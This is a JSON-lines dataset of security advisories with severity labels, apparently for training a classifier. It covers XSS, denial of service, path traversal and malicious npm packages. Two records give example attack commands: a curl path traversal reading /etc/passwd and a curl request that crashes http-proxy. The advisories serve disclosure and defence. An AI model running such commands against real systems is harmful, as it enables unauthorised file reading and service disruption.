-{"id": "56ddfbe8673f35d45624", "text": "Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet\n\n### Impact\nA websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.\n\n### Patches\nVersion 0.31.0 restricts websocket frame to reasonable limits.\n\n### Workarounds\nRestricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [eventlet](https://github.com/eventlet/eventlet/issues)\n* Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor", "text_raw": "Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet\n\n[Severity: MEDIUM]\n\n### Impact\nA websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.\n\n### Patches\nVersion 0.31.0 restricts websocket frame to reasonable limits.\n\n### Workarounds\nRestricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [eventlet](https://github.com/eventlet/eventlet/issues)\n* Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "884db24fe43b5d0a3579", "text": "Malicious Package in 1337qq-js\n\nAll versions of `1337qq-js` contain malicious code. The package exfiltrates sensitive information through install scripts. It targets UNIX systems. The information exfiltrated includes:\n- Environment variables\n- Running processes\n- /etc/hosts\n- uname -a\n- npmrc file\n\n## Recommendation\n\nRemove the package from your system and rotate any compromised credentials.", "text_raw": "Malicious Package in 1337qq-js\n\n[Severity: CRITICAL]\n\nAll versions of `1337qq-js` contain malicious code. The package exfiltrates sensitive information through install scripts. It targets UNIX systems. The information exfiltrated includes:\n- Environment variables\n- Running processes\n- /etc/hosts\n- uname -a\n- npmrc file\n\n\n## Recommendation\n\nRemove the package from your system and rotate any compromised credentials.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "965c4e641deb6013e2d8", "text": "Improper Input Validation in Jakarta Expression Language\n\nIn the Jakarta Expression Language implementation 3.0.3 and earlier, a bug in the ELParserTokenManager enables invalid EL expressions to be evaluated as if they were valid.", "text_raw": "Improper Input Validation in Jakarta Expression Language\n\n[Severity: MEDIUM]\n\nIn the Jakarta Expression Language implementation 3.0.3 and earlier, a bug in the ELParserTokenManager enables invalid EL expressions to be evaluated as if they were valid.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "697ef3277f3f459018ab", "text": "Listing of upload directory contents possible\n\nThere's an security issue in prosody-filer versions **< 1.0.1** which leads to unwanted directory listings of download directories.\n\nAn attacker is able to list previous uploads of a certain user by shortening the URL and accessing a URL subdirectors other than `/upload/` (or the corresponding user defined root dir)\n\nVersion 1.0.1 and later fix this problem and allow only direct file access if the full path is known. Directory listings are blocked entirely.", "text_raw": "Listing of upload directory contents possible\n\n[Severity: HIGH]\n\nThere's an security issue in prosody-filer versions **< 1.0.1** which leads to unwanted directory listings of download directories. \n\nAn attacker is able to list previous uploads of a certain user by shortening the URL and accessing a URL subdirectors other than `/upload/` (or the corresponding user defined root dir)\n\nVersion 1.0.1 and later fix this problem and allow only direct file access if the full path is known. Directory listings are blocked entirely.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "048c320ad62b438c199e", "text": "Stored XSS in Jupyter nbdime\n\n### Impact\n\nImproper handling of user controlled input caused a stored cross-site scripting (XSS) vulnerability. All previous versions of nbdime are affected.\n\n### Patches\n\nSecurity patches will be released for each of the major versions of the nbdime packages since version 1.x of the nbdime python package.\n\n#### Python\n- nbdime 1.x: Patched in v. 1.1.1\n- nbdime 2.x: Patched in v. 2.1.1\n- nbdime 3.x: Patched in v. 3.1.1\n\n#### npm\n- nbdime 6.x version: Patched in 6.1.2\n- nbdime 5.x version: Patched in 5.0.2\n- nbdime-jupyterlab 1.x version: Patched in 1.0.1\n- nbdime-jupyterlab 2.x version: Patched in 2.1.1\n\n### For more information\nIf you have any questions or comments about this advisory email us at [security@ipython.org](mailto:security@ipython.org).", "text_raw": "Stored XSS in Jupyter nbdime\n\n[Severity: MEDIUM]\n\n### Impact\n\nImproper handling of user controlled input caused a stored cross-site scripting (XSS) vulnerability. All previous versions of nbdime are affected.\n\n### Patches\n\nSecurity patches will be released for each of the major versions of the nbdime packages since version 1.x of the nbdime python package.\n\n#### Python\n- nbdime 1.x: Patched in v. 1.1.1\n- nbdime 2.x: Patched in v. 2.1.1\n- nbdime 3.x: Patched in v. 3.1.1\n\n#### npm\n- nbdime 6.x version: Patched in 6.1.2\n- nbdime 5.x version: Patched in 5.0.2\n- nbdime-jupyterlab 1.x version: Patched in 1.0.1\n- nbdime-jupyterlab 2.x version: Patched in 2.1.1\n\n### For more information\nIf you have any questions or comments about this advisory email us at [security@ipython.org](mailto:security@ipython.org).\n\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "d878caba125051b4caf8", "text": "LinkedIn Oncall vulnerable to Cross-Site Scripting\n\nLinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the \"No results found for\" message in the search bar.", "text_raw": "LinkedIn Oncall vulnerable to Cross-Site Scripting\n\n[Severity: MEDIUM]\n\nLinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the \"No results found for\" message in the search bar.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "6d310e72a8327f705559", "text": "EyeLock Myris 3.3.2 SDK Service Unquoted Service Path Privilege Escalation", "text_raw": "EyeLock Myris 3.3.2 SDK Service Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-08-10", "split": "train"}
-{"id": "eea50d48694ffde43609", "text": "Reflected cross-site scripting issue in Datasette\n\n### Impact\n\nThe `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability.\n\nThis vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data.\n\n### Patches\n\nDatasette 0.57 and 0.56.1 both include patches for this issue.\n\n### Workarounds\n\nIf you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters.\n\n### References\n\n- [OWASP guide to reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks)\n- [Datasette issue #1360](https://github.com/simonw/datasette/issues/1360)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a discussion in [simonw/datasette](https://github.com/simonw/datasette/discussions)\n* Email us at `swillison+datasette @ gmail.com`", "text_raw": "Reflected cross-site scripting issue in Datasette\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability.\n\nThis vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data.\n\n### Patches\n\nDatasette 0.57 and 0.56.1 both include patches for this issue.\n\n### Workarounds\n\nIf you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters.\n\n### References\n\n- [OWASP guide to reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks)\n- [Datasette issue #1360](https://github.com/simonw/datasette/issues/1360)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a discussion in [simonw/datasette](https://github.com/simonw/datasette/discussions)\n* Email us at `swillison+datasette @ gmail.com`\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "0860039edfe35b9eb95b", "text": "js-bson vulnerable to REDoS\n\nThe MongoDB bson JavaScript module (also known as js-bson) versions 0.5.0 to 1.0.x before 1.0.5 is vulnerable to a Regular Expression Denial of Service (ReDoS) in lib/bson/decimal128.js. The flaw is triggered when the Decimal128.fromString() function is called to parse a long untrusted string.", "text_raw": "js-bson vulnerable to REDoS\n\n[Severity: HIGH]\n\nThe MongoDB bson JavaScript module (also known as js-bson) versions 0.5.0 to 1.0.x before 1.0.5 is vulnerable to a Regular Expression Denial of Service (ReDoS) in lib/bson/decimal128.js. The flaw is triggered when the Decimal128.fromString() function is called to parse a long untrusted string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "f2b75b1fe56e2810bd4e", "text": "Opencast publishes global system account credentials\n\nThe issue was mostly mitigated before, drastically reducing the risk. See references below for more information.\n\n### Impact\n\nOpencast before version 10.6 will try to authenticate against any external services listed in a media package when it is trying to access the files, sending the global system user's credentials, regardless of the target being part of the Opencast cluster or not.\n\nPrevious mitigations already prevented clear text authentications for such requests (e.g. HTTP Basic authentication), but with enough malicious intent, even hashed credentials can be broken.\n\n### Patches\n\nOpencast 10.6 will now send authentication requests only against servers which are part of the Opencast cluster, preventing external services from getting any form of authentication attempt in the first place.\n\n### Workarounds\n\nNo workaround available.\n\n### References\n\n- [Patch fixing the issue](https://github.com/opencast/opencast/commit/776d5588f39c61eb04c03bb955416c4f77629d51)\n- [Original security notice](https://groups.google.com/a/opencast.org/g/security-notices/c/XRZzRiqp-NE)\n- [Original security mitigation](https://github.com/opencast/opencast/commit/fe8c3d3a60dc5869b468957270dbad5f8c30ead6)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)", "text_raw": "Opencast publishes global system account credentials\n\n[Severity: HIGH]\n\nThe issue was mostly mitigated before, drastically reducing the risk. See references below for more information.\n\n### Impact\n\nOpencast before version 10.6 will try to authenticate against any external services listed in a media package when it is trying to access the files, sending the global system user's credentials, regardless of the target being part of the Opencast cluster or not.\n\nPrevious mitigations already prevented clear text authentications for such requests (e.g. HTTP Basic authentication), but with enough malicious intent, even hashed credentials can be broken.\n\n### Patches\n\nOpencast 10.6 will now send authentication requests only against servers which are part of the Opencast cluster, preventing external services from getting any form of authentication attempt in the first place.\n\n### Workarounds\n\nNo workaround available.\n\n### References\n\n- [Patch fixing the issue](https://github.com/opencast/opencast/commit/776d5588f39c61eb04c03bb955416c4f77629d51)\n- [Original security notice](https://groups.google.com/a/opencast.org/g/security-notices/c/XRZzRiqp-NE)\n- [Original security mitigation](https://github.com/opencast/opencast/commit/fe8c3d3a60dc5869b468957270dbad5f8c30ead6)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "60c0a44c0a81329fdac2", "text": "Cross-Site Request Forgery in PiranhaCMS\n\nIn PiranhaCMS, versions 4.0.0-alpha1 to 9.2.0 are vulnerable to cross-site request forgery (CSRF) when performing various actions supported by the management system, such as deleting a user, deleting a role, editing a post, deleting a media folder etc., when an ID is known.", "text_raw": "Cross-Site Request Forgery in PiranhaCMS\n\n[Severity: HIGH]\n\nIn PiranhaCMS, versions 4.0.0-alpha1 to 9.2.0 are vulnerable to cross-site request forgery (CSRF) when performing various actions supported by the management system, such as deleting a user, deleting a role, editing a post, deleting a media folder etc., when an ID is known.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-17", "split": "train"}
-{"id": "81adca3e2438eb5e9010", "text": "Directory traversal vulnerability in Next.js\n\nNext.js 4 before 4.2.3 has Directory Traversal under the `/_next` request namespace.", "text_raw": "Directory traversal vulnerability in Next.js\n\n[Severity: HIGH]\n\nNext.js 4 before 4.2.3 has Directory Traversal under the `/_next` request namespace.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-24", "split": "train"}
-{"id": "cef8fede5bca7edbbf8e", "text": "Improper Handling of Length Parameter Inconsistency in Compress\n\nWhen reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.", "text_raw": "Improper Handling of Length Parameter Inconsistency in Compress\n\n[Severity: HIGH]\n\nWhen reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "ef2437975b0d08322d6d", "text": "CoAPthon3 vulnerable to Deserialization of Untrusted Data\n\nThe Serialize.deserialize() method in CoAPthon3 1.0 and 1.0.1 mishandles certain exceptions, leading to a denial of service in applications that use this library (e.g., the standard CoAP server, CoAP client, example collect CoAP server and client) when they receive crafted CoAP messages.", "text_raw": "CoAPthon3 vulnerable to Deserialization of Untrusted Data\n\n[Severity: HIGH]\n\nThe Serialize.deserialize() method in CoAPthon3 1.0 and 1.0.1 mishandles certain exceptions, leading to a denial of service in applications that use this library (e.g., the standard CoAP server, CoAP client, example collect CoAP server and client) when they receive crafted CoAP messages.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "28932562b9ca3448dad9", "text": "Markdown-supplied Shell Command Execution\n\n### Impact\n\nlookatme versions prior to 2.3.0 automatically loaded the built-in \"terminal\" and \"file_loader\" extensions. Users that use lookatme to render untrusted markdown may have malicious shell commands automatically run on their system.\n\n### Patches\n\nUsers should upgrade to lookatme versions 2.3.0 or above.\n\n### Workarounds\n\nThe `lookatme/contrib/terminal.py` and `lookatme/contrib/file_loader.py` files may be manually deleted. Additionally, it is always recommended to be aware of what is being rendered with lookatme.\n\n### References\n\n* https://github.com/d0c-s4vage/lookatme/pull/110\n* https://github.com/d0c-s4vage/lookatme/releases/tag/v2.3.0\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [d0c-s4vage/lookatme](https://github.com/d0c-s4vage/lookatme)", "text_raw": "Markdown-supplied Shell Command Execution\n\n[Severity: CRITICAL]\n\n### Impact\n\nlookatme versions prior to 2.3.0 automatically loaded the built-in \"terminal\" and \"file_loader\" extensions. Users that use lookatme to render untrusted markdown may have malicious shell commands automatically run on their system.\n\n### Patches\n\nUsers should upgrade to lookatme versions 2.3.0 or above.\n\n### Workarounds\n\nThe `lookatme/contrib/terminal.py` and `lookatme/contrib/file_loader.py` files may be manually deleted. Additionally, it is always recommended to be aware of what is being rendered with lookatme.\n\n### References\n\n* https://github.com/d0c-s4vage/lookatme/pull/110\n* https://github.com/d0c-s4vage/lookatme/releases/tag/v2.3.0\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [d0c-s4vage/lookatme](https://github.com/d0c-s4vage/lookatme)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "4f372f0de901f2fe8f12", "text": "Credential leak in org.apache.directory.api:apache-ldap-api\n\nIn Apache LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).", "text_raw": "Credential leak in org.apache.directory.api:apache-ldap-api\n\n[Severity: CRITICAL]\n\nIn Apache LDAP API before 1.0.2, a bug in the way the SSL Filter was setup made it possible for another thread to use the connection before the TLS layer has been established, if the connection has already been used and put back in a pool of connections, leading to leaking any information contained in this request (including the credentials when sending a BIND request).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "e629204cb3998fd3a032", "text": "Improper Input Validation in async-http-client\n\nAsync Http Client (aka async-http-client) before 2.0.35 can be tricked into connecting to a host different from the one extracted by java.net.URI if a '?' character occurs in a fragment identifier. Similar bugs were previously identified in cURL (CVE-2016-8624) and Oracle Java 8 java.net.URL.", "text_raw": "Improper Input Validation in async-http-client\n\n[Severity: HIGH]\n\nAsync Http Client (aka async-http-client) before 2.0.35 can be tricked into connecting to a host different from the one extracted by java.net.URI if a '?' character occurs in a fragment identifier. Similar bugs were previously identified in cURL (CVE-2016-8624) and Oracle Java 8 java.net.URL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "d5140130f43fcbf02573", "text": "Fixes a bug in Zend Framework's Stream HTTP Wrapper\n\n### Impact\nCVE-2021-3007: Backport of Zend_Http_Response_Stream, added certain type checking as a way to prevent exploitation. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3007\n\nThis vulnerability is caused by the unsecured deserialization of an object. In versions higher than Zend Framework 3.0.0, the attacker abuses the Zend3 feature that loads classes from objects in order to upload and execute malicious code in the server. The code can be uploaded using the “callback” parameter, which in this case inserts a malicious code instead of the “callbackOptions” array.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nv20.0.9 v19.4.13", "text_raw": "Fixes a bug in Zend Framework's Stream HTTP Wrapper\n\n[Severity: CRITICAL]\n\n### Impact\nCVE-2021-3007: Backport of Zend_Http_Response_Stream, added certain type checking as a way to prevent exploitation. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3007\n\nThis vulnerability is caused by the unsecured deserialization of an object. In versions higher than Zend Framework 3.0.0, the attacker abuses the Zend3 feature that loads classes from objects in order to upload and execute malicious code in the server. The code can be uploaded using the “callback” parameter, which in this case inserts a malicious code instead of the “callbackOptions” array.\n\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nv20.0.9 v19.4.13", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "bdb38fe85b95b5be2699", "text": "Authentication bypass via incorrect XML canonicalization and DOM traversal in saml2-js\n\nVersions of `saml2-js` prior to 1.12.4 or 2.0.2 are vulnerable to authentication bypass.\n\nThe `saml2-js` library may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.\n\nSecurity Assertion Markup Language (SAML) is an XML-based markup language for security assertions regarding authentication and permissions, most commonly used for single sign-on (SSO) services.\n\nSome XML DOM traversal and canonicalization APIs may be inconsistent in handling of comments within XML nodes. Incorrect use of these APIs by some SAML libraries results in incorrect parsing of the inner text of XML nodes such that any inner text after the comment is lost prior to cryptographically signing the SAML message. Text after the comment therefore has no impact on the signature on the SAML message.\n\nA remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider\n\n## Recommendation\n\nIf you use 1.x upgrade to version 1.12.4 or greater \nIf you use 2.x upgrade to version 2.02 or greater", "text_raw": "Authentication bypass via incorrect XML canonicalization and DOM traversal in saml2-js\n\n[Severity: MEDIUM]\n\nVersions of `saml2-js` prior to 1.12.4 or 2.0.2 are vulnerable to authentication bypass.\n\nThe `saml2-js` library may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.\n\nSecurity Assertion Markup Language (SAML) is an XML-based markup language for security assertions regarding authentication and permissions, most commonly used for single sign-on (SSO) services.\n\nSome XML DOM traversal and canonicalization APIs may be inconsistent in handling of comments within XML nodes. Incorrect use of these APIs by some SAML libraries results in incorrect parsing of the inner text of XML nodes such that any inner text after the comment is lost prior to cryptographically signing the SAML message. Text after the comment therefore has no impact on the signature on the SAML message.\n\nA remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider\n\n\n## Recommendation\n\nIf you use 1.x upgrade to version 1.12.4 or greater \nIf you use 2.x upgrade to version 2.02 or greater", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "c8a7d5e3a094d640714e", "text": "Cross-site Scripting in apostrophe\n\nApostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.", "text_raw": "Cross-site Scripting in apostrophe\n\n[Severity: MEDIUM]\n\nApostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "090e82259443dbbdb20e", "text": "Denial of Service in http-proxy\n\nVersions of `http-proxy` prior to 1.18.1 are vulnerable to Denial of Service. An HTTP request with a long body triggers an `ERR_HTTP_HEADERS_SENT` unhandled exception that crashes the proxy server. This is only possible when the proxy server sets headers in the proxy request using the `proxyReq.setHeader` function.\n\nFor a proxy server running on `http://localhost:3000`, the following curl request triggers the unhandled exception:  \n```curl -XPOST http://localhost:3000 -d \"$(python -c 'print(\"x\"*1025)')\"```\n\n## Recommendation\n\nUpgrade to version 1.18.1 or later", "text_raw": "Denial of Service in http-proxy\n\n[Severity: HIGH]\n\nVersions of `http-proxy` prior to 1.18.1 are vulnerable to Denial of Service. An HTTP request with a long body triggers an `ERR_HTTP_HEADERS_SENT` unhandled exception that crashes the proxy server. This is only possible when the proxy server sets headers in the proxy request using the `proxyReq.setHeader` function.   \n\nFor a proxy server running on `http://localhost:3000`, the following curl request triggers the unhandled exception:  \n```curl -XPOST http://localhost:3000 -d \"$(python -c 'print(\"x\"*1025)')\"```\n\n\n## Recommendation\n\nUpgrade to version 1.18.1 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "02885af0c08817c0769c", "text": "Command Injection in RaspAP 2.6.6\n\nincludes/configure_client.php in RaspAP 2.6.6 allows attackers to execute commands via command injection.", "text_raw": "Command Injection in RaspAP 2.6.6\n\n[Severity: HIGH]\n\nincludes/configure_client.php in RaspAP 2.6.6 allows attackers to execute commands via command injection.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "db2a085827145fe0a78e", "text": "Denial of Service in Apache Commons Compress\n\nThe file name encoding algorithm used internally in Apache Commons Compress 1.15 to 1.18 can get into an infinite loop when faced with specially crafted inputs. This can lead to a denial of service attack if an attacker can choose the file names inside of an archive created by Compress.", "text_raw": "Denial of Service in Apache Commons Compress\n\n[Severity: HIGH]\n\nThe file name encoding algorithm used internally in Apache Commons Compress 1.15 to 1.18 can get into an infinite loop when faced with specially crafted inputs. This can lead to a denial of service attack if an attacker can choose the file names inside of an archive created by Compress.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "1a47c22ec0b14c849ad8", "text": "Forgeable Public/Private Tokens in jws\n\nAffected versions of the `jws` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT as a bearer token, the end result is a complete authentication bypass with minimal effort.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "text_raw": "Forgeable Public/Private Tokens in jws\n\n[Severity: HIGH]\n\nAffected versions of the `jws` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT as a bearer token, the end result is a complete authentication bypass with minimal effort.\n\n\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "006ea4f68acf19a127f7", "text": "Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js\n\nVersions of `uglify-js` prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.\n\n## Recommendation\n\nUpgrade UglifyJS to version >= 2.4.24.", "text_raw": "Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js\n\n[Severity: CRITICAL]\n\nVersions of `uglify-js` prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.\n\n## Recommendation\n\nUpgrade UglifyJS to version >= 2.4.24.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2e97ff90fd70db72b01e", "text": "Prototype Pollution in merge-deep2.\n\nAll versions of package merge-deep2 are vulnerable to Prototype Pollution via the mergeDeep() function.", "text_raw": "Prototype Pollution in merge-deep2.\n\n[Severity: MEDIUM]\n\nAll versions of package merge-deep2 are vulnerable to Prototype Pollution via the mergeDeep() function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "8c00205a2173fed0465b", "text": "Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities", "text_raw": "Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-03-06", "split": "train"}
-{"id": "d8d55d2a2d423d866a0e", "text": "Lack of protection against cookie tossing attacks in fastify-csrf\n\n### Impact\n\nUsers that used fastify-csrf with the \"double submit\" mechanism using cookies with an application deployed across multiple subdomains, e.g. \"heroku\"-style platform as a service.\n\n### Patches\n\nVersion 3.1.0 of the fastify-csrf fixes it. \nSee https://github.com/fastify/fastify-csrf/pull/51 and https://github.com/fastify/csrf/pull/2.\n\nThe user of the module would need to supply a `userInfo` when generating the CSRF token to fully implement the protection on their end. This is needed only for applications hosted on different subdomains.\n\n### Workarounds\n\nNone available.\n\n### References\n\n1. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html\n2. https://owasp.org/www-pdf-archive/David_Johansson-Double_Defeat_of_Double-Submit_Cookie.pdf\n\n### Credits\n\nThis vulnerability was found by Xhelal Likaj <xhelallikaj20@gmail.com>.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-csrf](https://github.com/fastify/fastify-csrf)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "text_raw": "Lack of protection against cookie tossing attacks in fastify-csrf\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers that used fastify-csrf with the \"double submit\" mechanism using cookies with an application deployed across multiple subdomains, e.g. \"heroku\"-style platform as a service. \n\n### Patches\n\nVersion 3.1.0 of the fastify-csrf fixes it. \nSee https://github.com/fastify/fastify-csrf/pull/51 and https://github.com/fastify/csrf/pull/2.\n\nThe user of the module would need to supply a `userInfo` when generating the CSRF token to fully implement the protection on their end. This is needed only for applications hosted on different subdomains.\n\n### Workarounds\n\nNone available.\n\n### References\n\n1. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html\n2. https://owasp.org/www-pdf-archive/David_Johansson-Double_Defeat_of_Double-Submit_Cookie.pdf\n\n### Credits\n\nThis vulnerability was found by Xhelal Likaj <xhelallikaj20@gmail.com>.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-csrf](https://github.com/fastify/fastify-csrf)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "9860dfd235ccb3251d1c", "text": "Path Traversal in http-live-simulator\n\nVersions of `http-live-simulator` prior to 1.0.7 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. For example: `curl --path-as-is http://localhost:8080//../../../../etc/passwd`.\n\n## Recommendation\n\nUpgrade to version 1.0.7", "text_raw": "Path Traversal in http-live-simulator\n\n[Severity: HIGH]\n\nVersions of `http-live-simulator` prior to 1.0.7 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. For example: `curl --path-as-is http://localhost:8080//../../../../etc/passwd`.\n\n\n## Recommendation\n\nUpgrade to version 1.0.7", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "d1358bf909938622bf6c", "text": "Malicious npm package: discord-fix\n\nThe npm `discord-fix` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious npm package: discord-fix\n\n[Severity: CRITICAL]\n\nThe npm `discord-fix` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
